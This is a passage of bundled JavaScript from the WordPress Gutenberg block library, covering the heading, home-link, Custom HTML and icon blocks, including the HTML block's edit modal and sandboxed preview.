    return /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(TagName2, { ...import_block_editor103.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(import_block_editor103.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/heading/transforms.mjs
  var import_blocks34 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/heading/shared.mjs
  function getLevelFromHeadingNodeName(nodeName) {
    return Number(nodeName.substr(1));
  }

  // packages/block-library/build-module/heading/transforms.mjs
  var transforms11 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; attributes2.map((_attributes) =&gt; {
          const { content, anchor, style: style2 } = _attributes;
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks34.createBlock)(&quot;core/heading&quot;, {
            ...getTransformedAttributes(
              _attributes,
              &quot;core/heading&quot;,
              ({ content: contentBinding }) =&gt; ({
                content: contentBinding
              })
            ),
            content,
            anchor,
            ...textAlign &amp;&amp; {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        })
      },
      {
        type: &quot;raw&quot;,
        selector: &quot;h1,h2,h3,h4,h5,h6&quot;,
        schema: ({ phrasingContentSchema, isPaste }) =&gt; {
          const schema2 = {
            children: phrasingContentSchema,
            attributes: isPaste ? [] : [&quot;style&quot;, &quot;id&quot;]
          };
          return {
            h1: schema2,
            h2: schema2,
            h3: schema2,
            h4: schema2,
            h5: schema2,
            h6: schema2
          };
        },
        transform(node) {
          const attributes2 = (0, import_blocks34.getBlockAttributes)(
            &quot;core/heading&quot;,
            node.outerHTML
          );
          const { textAlign } = node.style || {};
          attributes2.level = getLevelFromHeadingNodeName(node.nodeName);
          if (textAlign === &quot;left&quot; || textAlign === &quot;center&quot; || textAlign === &quot;right&quot;) {
            attributes2.style = {
              ...attributes2.style,
              typography: {
                ...attributes2.style?.typography,
                textAlign
              }
            };
          }
          return (0, import_blocks34.createBlock)(&quot;core/heading&quot;, attributes2);
        }
      },
      ...[1, 2, 3, 4, 5, 6].map((level) =&gt; ({
        type: &quot;prefix&quot;,
        prefix: Array(level + 1).join(&quot;#&quot;),
        transform(content) {
          return (0, import_blocks34.createBlock)(&quot;core/heading&quot;, {
            level,
            content
          });
        }
      })),
      ...[1, 2, 3, 4, 5, 6].map((level) =&gt; ({
        type: &quot;enter&quot;,
        regExp: new RegExp(`^/(h|H)${level}$`),
        transform: () =&gt; (0, import_blocks34.createBlock)(&quot;core/heading&quot;, { level })
      }))
    ],
    to: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; attributes2.map((_attributes) =&gt; {
          const { content, style: style2 } = _attributes;
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks34.createBlock)(&quot;core/paragraph&quot;, {
            ...getTransformedAttributes(
              _attributes,
              &quot;core/paragraph&quot;,
              ({ content: contentBinding }) =&gt; ({
                content: contentBinding
              })
            ),
            content,
            ...textAlign &amp;&amp; {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        })
      }
    ]
  };
  var transforms_default12 = transforms11;

  // packages/block-library/build-module/heading/variations.mjs
  var import_i18n81 = __toESM(require_i18n(), 1);
  var LEVEL_ICONS = [
    heading_level_1_default,
    heading_level_2_default,
    heading_level_3_default,
    heading_level_4_default,
    heading_level_5_default,
    heading_level_6_default
  ];
  var variations9 = [
    ...[1, 2, 3, 4, 5, 6].map((level) =&gt; ({
      name: `h${level}`,
      title: (0, import_i18n81.sprintf)(
        /* translators: %d: heading level e.g: &quot;1&quot;, &quot;2&quot;, &quot;3&quot; */
        (0, import_i18n81.__)(&quot;Heading %d&quot;),
        level
      ),
      description: (0, import_i18n81.__)(
        &quot;Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.&quot;
      ),
      icon: LEVEL_ICONS[level - 1],
      attributes: { level },
      scope: [&quot;block&quot;, &quot;transform&quot;],
      keywords: [`h${level}`],
      isActive: (blockAttributes8) =&gt; blockAttributes8.level === level
    }))
  ];
  var variations_default9 = variations9;

  // packages/block-library/build-module/heading/index.mjs
  var { fieldsKey: fieldsKey7, formKey: formKey7 } = unlock(import_blocks35.privateApis);
  var { name: name40 } = block_default40;
  var settings40 = {
    icon: heading_default,
    example: {
      attributes: {
        content: (0, import_i18n82.__)(&quot;Code is Poetry&quot;),
        level: 2,
        style: {
          typography: {
            textAlign: &quot;center&quot;
          }
        }
      }
    },
    __experimentalLabel(attributes2, { context }) {
      const { content, level } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasContent = content?.trim().length &gt; 0;
      if (context === &quot;list-view&quot; &amp;&amp; (customName || hasContent)) {
        return customName || content;
      }
      if (context === &quot;breadcrumb&quot; &amp;&amp; customName) {
        return customName;
      }
      if (context === &quot;accessibility&quot;) {
        return !hasContent ? (0, import_i18n82.sprintf)(
          /* translators: accessibility text. %s: heading level. */
          (0, import_i18n82.__)(&quot;Level %s. Empty.&quot;),
          level
        ) : (0, import_i18n82.sprintf)(
          /* translators: accessibility text. 1: heading level. 2: heading content. */
          (0, import_i18n82.__)(&quot;Level %1$s. %2$s&quot;),
          level,
          content
        );
      }
    },
    transforms: transforms_default12,
    deprecated: deprecated_default21,
    merge(attributes2, attributesToMerge) {
      return {
        content: (attributes2.content || &quot;&quot;) + (attributesToMerge.content || &quot;&quot;)
      };
    },
    edit: edit_default16,
    save: save23,
    variations: variations_default9
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings40[fieldsKey7] = [
      {
        id: &quot;content&quot;,
        label: (0, import_i18n82.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings40[formKey7] = {
      fields: [&quot;content&quot;]
    };
  }
  var init40 = () =&gt; {
    const block = initBlock({ name: name40, metadata: block_default40, settings: settings40 });
    const levelOptions = (0, import_blocks35.getBlockType)(name40)?.attributes?.levelOptions?.default;
    if (levelOptions) {
      [1, 2, 3, 4, 5, 6].forEach((level) =&gt; {
        if (!levelOptions.includes(level)) {
          (0, import_blocks35.unregisterBlockVariation)(name40, `h${level}`);
        }
      });
    }
    return block;
  };

  // packages/block-library/build-module/home-link/index.mjs
  var home_link_exports = {};
  __export(home_link_exports, {
    init: () =&gt; init41,
    metadata: () =&gt; block_default41,
    name: () =&gt; name41,
    settings: () =&gt; settings41
  });
  var import_i18n84 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/home-link/block.json
  var block_default41 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/home-link&quot;,
    category: &quot;design&quot;,
    parent: [&quot;core/navigation&quot;],
    title: &quot;Home Link&quot;,
    description: &quot;Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      }
    },
    usesContext: [
      &quot;textColor&quot;,
      &quot;customTextColor&quot;,
      &quot;backgroundColor&quot;,
      &quot;customBackgroundColor&quot;,
      &quot;fontSize&quot;,
      &quot;customFontSize&quot;,
      &quot;style&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-home-link-editor&quot;,
    style: &quot;wp-block-home-link&quot;
  };

  // packages/block-library/build-module/home-link/edit.mjs
  var import_block_editor104 = __toESM(require_block_editor(), 1);
  var import_i18n83 = __toESM(require_i18n(), 1);
  var import_data42 = __toESM(require_data(), 1);
  var import_core_data21 = __toESM(require_core_data(), 1);
  var import_jsx_runtime266 = __toESM(require_jsx_runtime(), 1);
  var preventDefault = (event) =&gt; event.preventDefault();
  function HomeEdit({ attributes: attributes2, setAttributes, context }) {
    const homeUrl = (0, import_data42.useSelect)((select9) =&gt; {
      return select9(import_core_data21.store).getEntityRecord(&quot;root&quot;, &quot;__unstableBase&quot;)?.home;
    }, []);
    const { textColor, backgroundColor, style: style2 } = context;
    const blockProps = (0, import_block_editor104.useBlockProps)({
      className: clsx_default(&quot;wp-block-navigation-item&quot;, {
        &quot;has-text-color&quot;: !!textColor || !!style2?.color?.text,
        [`has-${textColor}-color`]: !!textColor,
        &quot;has-background&quot;: !!backgroundColor || !!style2?.color?.background,
        [`has-${backgroundColor}-background-color`]: !!backgroundColor
      }),
      style: {
        color: style2?.color?.text,
        backgroundColor: style2?.color?.background
      }
    });
    return /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(
      &quot;a&quot;,
      {
        className: &quot;wp-block-home-link__content wp-block-navigation-item__content&quot;,
        href: homeUrl,
        onClick: preventDefault,
        children: /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(
          import_block_editor104.RichText,
          {
            identifier: &quot;label&quot;,
            className: &quot;wp-block-home-link__label&quot;,
            value: attributes2.label ?? (0, import_i18n83.__)(&quot;Home&quot;),
            onChange: (labelValue) =&gt; {
              setAttributes({ label: labelValue });
            },
            &quot;aria-label&quot;: (0, import_i18n83.__)(&quot;Home link text&quot;),
            placeholder: (0, import_i18n83.__)(&quot;Add home link&quot;),
            withoutInteractiveFormatting: true
          }
        )
      }
    ) });
  }

  // packages/block-library/build-module/home-link/save.mjs
  var import_block_editor105 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime267 = __toESM(require_jsx_runtime(), 1);
  function save24() {
    return /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(import_block_editor105.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/home-link/index.mjs
  var { name: name41 } = block_default41;
  var settings41 = {
    icon: home_default,
    edit: HomeEdit,
    save: save24,
    example: {
      attributes: {
        label: (0, import_i18n84._x)(&quot;Home Link&quot;, &quot;block example&quot;)
      }
    }
  };
  var init41 = () =&gt; initBlock({ name: name41, metadata: block_default41, settings: settings41 });

  // packages/block-library/build-module/html/index.mjs
  var html_exports = {};
  __export(html_exports, {
    init: () =&gt; init42,
    metadata: () =&gt; block_default42,
    name: () =&gt; name42,
    settings: () =&gt; settings42
  });
  var import_i18n88 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/html/edit.mjs
  var import_i18n87 = __toESM(require_i18n(), 1);
  var import_element39 = __toESM(require_element(), 1);
  var import_block_editor108 = __toESM(require_block_editor(), 1);
  var import_components49 = __toESM(require_components(), 1);

  // packages/block-library/build-module/html/preview.mjs
  var import_element37 = __toESM(require_element(), 1);
  var import_block_editor106 = __toESM(require_block_editor(), 1);
  var import_components47 = __toESM(require_components(), 1);
  var import_data43 = __toESM(require_data(), 1);
  var import_i18n85 = __toESM(require_i18n(), 1);
  var import_jsx_runtime268 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_STYLES = `
	html,body,:root {
		margin: 0 !important;
		padding: 0 !important;
		overflow: visible !important;
		min-height: auto !important;
	}
`;
  function HTMLEditPreview({ content, isSelected }) {
    const settingStyles = (0, import_data43.useSelect)(
      (select9) =&gt; select9(import_block_editor106.store).getSettings().styles,
      []
    );
    const styles = (0, import_element37.useMemo)(
      () =&gt; [
        DEFAULT_STYLES,
        ...(0, import_block_editor106.transformStyles)(
          (settingStyles ?? []).filter((style2) =&gt; style2.css)
        )
      ],
      [settingStyles]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime268.jsxs)(import_jsx_runtime268.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(
        import_components47.SandBox,
        {
          html: content,
          styles,
          title: (0, import_i18n85.__)(&quot;Custom HTML Preview&quot;),
          tabIndex: -1
        }
      ),
      !isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(&quot;div&quot;, { className: &quot;block-library-html__preview-overlay&quot; })
    ] });
  }

  // packages/block-library/build-module/html/modal.mjs
  var import_i18n86 = __toESM(require_i18n(), 1);
  var import_element38 = __toESM(require_element(), 1);
  var import_data44 = __toESM(require_data(), 1);
  var import_components48 = __toESM(require_components(), 1);
  var import_block_editor107 = __toESM(require_block_editor(), 1);
  var import_compose20 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/html/utils.mjs
  function parseContent(content = &quot;&quot;) {
    if (!content || !content.trim()) {
      return { html: &quot;&quot;, css: &quot;&quot;, js: &quot;&quot; };
    }
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = content;
    const styleTag = doc.body.querySelector(
      &#039;style[data-wp-block-html=&quot;css&quot;]&#039;
    );
    const css = styleTag ? styleTag.textContent.trim() : &quot;&quot;;
    if (styleTag) {
      styleTag.remove();
    }
    const scriptTag = doc.body.querySelector(
      &#039;script[data-wp-block-html=&quot;js&quot;]&#039;
    );
    const js = scriptTag ? scriptTag.textContent.trim() : &quot;&quot;;
    if (scriptTag) {
      scriptTag.remove();
    }
    const html = doc.body.innerHTML.trim();
    return { html, css, js };
  }
  function serializeContent({ html = &quot;&quot;, css = &quot;&quot;, js = &quot;&quot; }) {
    const parts = [];
    if (css.trim()) {
      parts.push(`&lt;style data-wp-block-html=&quot;css&quot;&gt;
${css}
&lt;/style&gt;`);
    }
    if (js.trim()) {
      parts.push(`&lt;script data-wp-block-html=&quot;js&quot;&gt;
${js}
&lt;\/script&gt;`);
    }
    if (html.trim()) {
      parts.push(html);
    }
    return parts.join(&quot;\n\n&quot;);
  }

  // packages/block-library/build-module/html/modal.mjs
  var import_jsx_runtime269 = __toESM(require_jsx_runtime(), 1);
  var { Tabs } = unlock(import_components48.privateApis);
  function HTMLEditModal({
    isOpen,
    onRequestClose,
    content,
    setAttributes
  }) {
    const { html, css, js } = parseContent(content);
    const [editedHtml, setEditedHtml] = (0, import_element38.useState)(html);
    const [editedCss, setEditedCss] = (0, import_element38.useState)(css);
    const [editedJs, setEditedJs] = (0, import_element38.useState)(js);
    const [isFullscreen, setIsFullscreen] = (0, import_element38.useState)(false);
    const isMobileViewport = (0, import_compose20.useViewportMatch)(&quot;small&quot;, &quot;&lt;&quot;);
    const { canUserUseUnfilteredHTML } = (0, import_data44.useSelect)((select9) =&gt; {
      const settings122 = select9(import_block_editor107.store).getSettings();
      return {
        canUserUseUnfilteredHTML: settings122.__experimentalCanUserUseUnfilteredHTML
      };
    }, []);
    const hasRestrictedContent = !canUserUseUnfilteredHTML &amp;&amp; (css.trim() || js.trim());
    if (!isOpen) {
      return null;
    }
    const handleUpdate = () =&gt; {
      setAttributes({
        content: serializeContent({
          html: editedHtml,
          css: canUserUseUnfilteredHTML ? editedCss : &quot;&quot;,
          js: canUserUseUnfilteredHTML ? editedJs : &quot;&quot;
        })
      });
    };
    const handleUpdateAndClose = () =&gt; {
      handleUpdate();
      onRequestClose();
    };
    const toggleFullscreen = () =&gt; {
      setIsFullscreen((prevState) =&gt; !prevState);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(import_jsx_runtime269.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
      import_components48.Modal,
      {
        title: (0, import_i18n86.__)(&quot;Edit HTML&quot;),
        onRequestClose,
        className: &quot;block-library-html__modal&quot;,
        size: &quot;large&quot;,
        isDismissible: false,
        shouldCloseOnClickOutside: false,
        isFullScreen: isFullscreen,
        __experimentalHideHeader: true,
        children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs, { orientation: &quot;horizontal&quot;, defaultTabId: &quot;html&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(import_components48.__experimentalVStack, { expanded: true, children: [
          /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(
            import_components48.__experimentalHStack,
            {
              justify: &quot;space-between&quot;,
              className: &quot;block-library-html__modal-header&quot;,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(&quot;div&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(Tabs.TabList, { children: [
                  /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs.Tab, { tabId: &quot;html&quot;, children: &quot;HTML&quot; }),
                  canUserUseUnfilteredHTML &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs.Tab, { tabId: &quot;css&quot;, children: &quot;CSS&quot; }),
                  canUserUseUnfilteredHTML &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(Tabs.Tab, { tabId: &quot;js&quot;, children: (0, import_i18n86.__)(&quot;JavaScript&quot;) })
                ] }) }),
                !isMobileViewport &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(&quot;div&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  import_components48.Button,
                  {
                    __next40pxDefaultSize: true,
                    icon: isFullscreen ? square_default : fullscreen_default,
                    label: (0, import_i18n86.__)(
                      &quot;Enable/disable fullscreen&quot;
                    ),
                    onClick: toggleFullscreen,
                    variant: &quot;tertiary&quot;
                  }
                ) })
              ]
            }
          ),
          hasRestrictedContent &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
            import_components48.Notice,
            {
              status: &quot;warning&quot;,
              isDismissible: false,
              className: &quot;block-library-html__modal-notice&quot;,
              children: (0, import_i18n86.__)(
                &quot;This block contains CSS or JavaScript that will be removed when you save because you do not have permission to use unfiltered HTML.&quot;
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(
            import_components48.Flex,
            {
              direction: isMobileViewport ? &quot;column&quot; : &quot;row&quot;,
              className: &quot;block-library-html__modal-tabs&quot;,
              align: &quot;stretch&quot;,
              gap: 8,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(&quot;div&quot;, { className: &quot;block-library-html__modal-content&quot;, children: [
                  /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                    Tabs.TabPanel,
                    {
                      tabId: &quot;html&quot;,
                      focusable: false,
                      className: &quot;block-library-html__modal-tab&quot;,
                      children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                        import_block_editor107.PlainText,
                        {
                          value: editedHtml,
                          onChange: setEditedHtml,
                          placeholder: (0, import_i18n86.__)(&quot;Write HTML\u2026&quot;),
                          &quot;aria-label&quot;: (0, import_i18n86.__)(&quot;HTML&quot;),
                          className: &quot;block-library-html__modal-editor&quot;
                        }
                      )
                    }
                  ),
                  canUserUseUnfilteredHTML &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                    Tabs.TabPanel,
                    {
                      tabId: &quot;css&quot;,
                      focusable: false,
                      className: &quot;block-library-html__modal-tab&quot;,
                      children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                        import_block_editor107.PlainText,
                        {
                          value: editedCss,
                          onChange: setEditedCss,
                          placeholder: (0, import_i18n86.__)(&quot;Write CSS\u2026&quot;),
                          &quot;aria-label&quot;: (0, import_i18n86.__)(&quot;CSS&quot;),
                          className: &quot;block-library-html__modal-editor&quot;
                        }
                      )
                    }
                  ),
                  canUserUseUnfilteredHTML &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                    Tabs.TabPanel,
                    {
                      tabId: &quot;js&quot;,
                      focusable: false,
                      className: &quot;block-library-html__modal-tab&quot;,
                      children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                        import_block_editor107.PlainText,
                        {
                          value: editedJs,
                          onChange: setEditedJs,
                          placeholder: (0, import_i18n86.__)(
                            &quot;Write JavaScript\u2026&quot;
                          ),
                          &quot;aria-label&quot;: (0, import_i18n86.__)(&quot;JavaScript&quot;),
                          className: &quot;block-library-html__modal-editor&quot;
                        }
                      )
                    }
                  )
                ] }),
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(&quot;div&quot;, { className: &quot;block-library-html__preview&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  HTMLEditPreview,
                  {
                    content: serializeContent({
                      html: editedHtml,
                      css: editedCss,
                      js: editedJs
                    })
                  }
                ) })
              ]
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(
            import_components48.__experimentalHStack,
            {
              alignment: &quot;center&quot;,
              justify: &quot;flex-end&quot;,
              spacing: 4,
              className: &quot;block-library-html__modal-footer&quot;,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  import_components48.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: &quot;tertiary&quot;,
                    onClick: onRequestClose,
                    children: (0, import_i18n86.__)(&quot;Cancel&quot;)
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
                  import_components48.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: &quot;primary&quot;,
                    onClick: handleUpdateAndClose,
                    children: (0, import_i18n86.__)(&quot;Update&quot;)
                  }
                )
              ]
            }
          )
        ] }) })
      }
    ) });
  }

  // packages/block-library/build-module/html/edit.mjs
  var import_jsx_runtime270 = __toESM(require_jsx_runtime(), 1);
  function HTMLEdit({ attributes: attributes2, setAttributes, isSelected }) {
    const [isModalOpen, setIsModalOpen] = (0, import_element39.useState)(false);
    const blockProps = (0, import_block_editor108.useBlockProps)({
      className: &quot;block-library-html__edit&quot;
    });
    if (!attributes2.content?.trim()) {
      return /* @__PURE__ */ (0, import_jsx_runtime270.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
          import_components49.Placeholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_block_editor108.BlockIcon, { icon: code_default }),
            label: (0, import_i18n87.__)(&quot;Custom HTML&quot;),
            instructions: (0, import_i18n87.__)(
              &quot;Add custom HTML code and preview how it looks.&quot;
            ),
            children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
              import_components49.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;primary&quot;,
                onClick: () =&gt; setIsModalOpen(true),
                children: (0, import_i18n87.__)(&quot;Edit HTML&quot;)
              }
            )
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
          HTMLEditModal,
          {
            isOpen: isModalOpen,
            onRequestClose: () =&gt; setIsModalOpen(false),
            content: attributes2.content,
            setAttributes
          }
        )
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime270.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_block_editor108.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_components49.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_components49.ToolbarButton, { onClick: () =&gt; setIsModalOpen(true), children: (0, import_i18n87.__)(&quot;Edit code&quot;) }) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_block_editor108.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
        import_components49.__experimentalVStack,
        {
          className: &quot;block-editor-block-inspector-edit-contents&quot;,
          expanded: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
            import_components49.Button,
            {
              className: &quot;block-editor-block-inspector-edit-contents__button&quot;,
              __next40pxDefaultSize: true,
              variant: &quot;secondary&quot;,
              onClick: () =&gt; setIsModalOpen(true),
              children: (0, import_i18n87.__)(&quot;Edit code&quot;)
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(HTMLEditPreview, { content: attributes2.content, isSelected }),
      /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
        HTMLEditModal,
        {
          isOpen: isModalOpen,
          onRequestClose: () =&gt; setIsModalOpen(false),
          content: attributes2.content,
          setAttributes
        }
      )
    ] });
  }

  // packages/block-library/build-module/html/block.json
  var block_default42 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/html&quot;,
    title: &quot;Custom HTML&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Add custom HTML code and preview it as you edit.&quot;,
    keywords: [&quot;embed&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;string&quot;,
        source: &quot;raw&quot;,
        role: &quot;content&quot;
      }
    },
    supports: {
      customClassName: false,
      className: false,
      html: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false,
      visibility: false
    },
    editorStyle: &quot;wp-block-html-editor&quot;
  };

  // packages/block-library/build-module/html/save.mjs
  var import_element40 = __toESM(require_element(), 1);
  var import_jsx_runtime271 = __toESM(require_jsx_runtime(), 1);
  function save25({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(import_element40.RawHTML, { children: attributes2.content });
  }

  // packages/block-library/build-module/html/transforms.mjs
  var import_blocks36 = __toESM(require_blocks(), 1);
  var import_rich_text3 = __toESM(require_rich_text(), 1);
  var transforms12 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/code&quot;],
        transform: ({ content: html }) =&gt; {
          return (0, import_blocks36.createBlock)(&quot;core/html&quot;, {
            // The code block may output HTML formatting, so convert it
            // to plain text.
            content: (0, import_rich_text3.create)({ html }).text
          });
        }
      }
    ]
  };
  var transforms_default13 = transforms12;

  // packages/block-library/build-module/html/index.mjs
  var { name: name42 } = block_default42;
  var settings42 = {
    icon: html_default,
    example: {
      attributes: {
        content: &quot;&lt;marquee&gt;&quot; + (0, import_i18n88.__)(&quot;Welcome to the wonderful world of blocks\u2026&quot;) + &quot;&lt;/marquee&gt;&quot;
      }
    },
    edit: HTMLEdit,
    save: save25,
    transforms: transforms_default13
  };
  var init42 = () =&gt; initBlock({ name: name42, metadata: block_default42, settings: settings42 });

  // packages/block-library/build-module/icon/index.mjs
  var icon_exports = {};
  __export(icon_exports, {
    init: () =&gt; init43,
    metadata: () =&gt; block_default43,
    name: () =&gt; name43,
    settings: () =&gt; settings43
  });

  // packages/block-library/build-module/icon/edit.mjs
  var import_i18n91 = __toESM(require_i18n(), 1);
  var import_components52 = __toESM(require_components(), 1);
  var import_block_editor109 = __toESM(require_block_editor(), 1);
  var import_element42 = __toESM(require_element(), 1);
  var import_primitives162 = __toESM(require_primitives(), 1);
  var import_data45 = __toESM(require_data(), 1);
  var import_core_data22 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/icon/components/custom-inserter/index.mjs
  var import_i18n90 = __toESM(require_i18n(), 1);
  var import_components51 = __toESM(require_components(), 1);
  var import_element41 = __toESM(require_element(), 1);
  var import_compose21 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/icon/components/custom-inserter/icon-grid.mjs
  var import_i18n89 = __toESM(require_i18n(), 1);
  var import_components50 = __toESM(require_components(), 1);
  var import_jsx_runtime272 = __toESM(require_jsx_runtime(), 1);
  function IconGrid({ icons, onChange, attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(&quot;div&quot;, { className: &quot;wp-block-icon__inserter-grid&quot;, children: !icons?.length ? /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(&quot;div&quot;, { className: &quot;wp-block-icon__inserter-grid-no-results&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(&quot;p&quot;, { children: (0, import_i18n89.__)(&quot;No results found.&quot;) }) }) : /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
      &quot;div&quot;,
      {
        className: &quot;wp-block-icon__inserter-grid-icons-list&quot;,
        &quot;aria-label&quot;: (0, import_i18n89.__)(&quot;Icon library&quot;),
        children: icons.map((icon4) =&gt; {
          return /* @__PURE__ */ (0, import_jsx_runtime272.jsxs)(
            import_components50.Button,
            {
              className: &quot;wp-block-icon__inserter-grid-icons-list-item&quot;,
              onClick: () =&gt; onChange(icon4.name),
              variant: icon4.name === attributes2?.icon ? &quot;primary&quot; : void 0,
              __next40pxDefaultSize: true,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(&quot;span&quot;, { className: &quot;wp-block-icon__inserter-grid-icons-list-item-icon&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
                  html_renderer_default,
                  {
                    html: icon4.content,
                    wrapperProps: {
                      style: { width: &quot;24px&quot; }
                    }
                  }
                ) }),
                /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(&quot;span&quot;, { className: &quot;wp-block-icon__inserter-grid-icons-list-item-title&quot;, children: icon4.label })
              ]
            },
            icon4.name
          );
        })
      }
    ) });
  }

  // packages/block-library/build-module/utils/search-patterns.mjs
  var import_remove_accents4 = __toESM(require_remove_accents(), 1);
  function normalizeSearchInput(input = &quot;&quot;) {
    input = (0, import_remove_accents4.default)(input);
    input = input.trim().toLowerCase();
    return input;
  }
  function getPatternSearchRank(pattern, searchValue) {
    const normalizedSearchValue = normalizeSearchInput(searchValue);
    const normalizedTitle = normalizeSearchInput(pattern.title);
    let rank = 0;
    if (normalizedSearchValue === normalizedTitle) {
      rank += 30;
    } else if (normalizedTitle.startsWith(normalizedSearchValue)) {
      rank += 20;
    } else {
      const searchTerms = normalizedSearchValue.split(&quot; &quot;);
      const hasMatchedTerms = searchTerms.every(
        (searchTerm) =&gt; normalizedTitle.includes(searchTerm)
      );
      if (hasMatchedTerms) {
        rank += 10;
      }
    }
    return rank;
  }
  function searchPatterns(patterns = [], searchValue = &quot;&quot;) {
    if (!searchValue) {
